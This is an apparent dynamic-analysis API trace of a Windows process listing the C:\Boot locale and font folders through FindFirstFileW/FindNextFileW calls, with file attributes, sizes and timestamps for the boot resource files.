	[0065.167] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a48
	[0065.167] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.167] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.168] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.168] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.168] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0065.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.168] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0065.168] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.168] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811dc8
	[0065.169] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.169] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.169] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.169] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.169] FindClose (in: hFindFile=0x811dc8 | out: hFindFile=0x811dc8) returned 1
	[0065.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.169] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0065.169] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.169] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0065.183] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.183] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.183] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0065.183] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0065.183] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.183] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0065.183] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.183] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811988
	[0065.183] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.184] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.184] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0065.184] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0065.184] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.184] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0065.184] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.184] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0065.190] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.190] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.190] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.190] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.190] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0065.190] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.190] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0065.190] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.190] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b88
	[0066.179] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0066.180] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
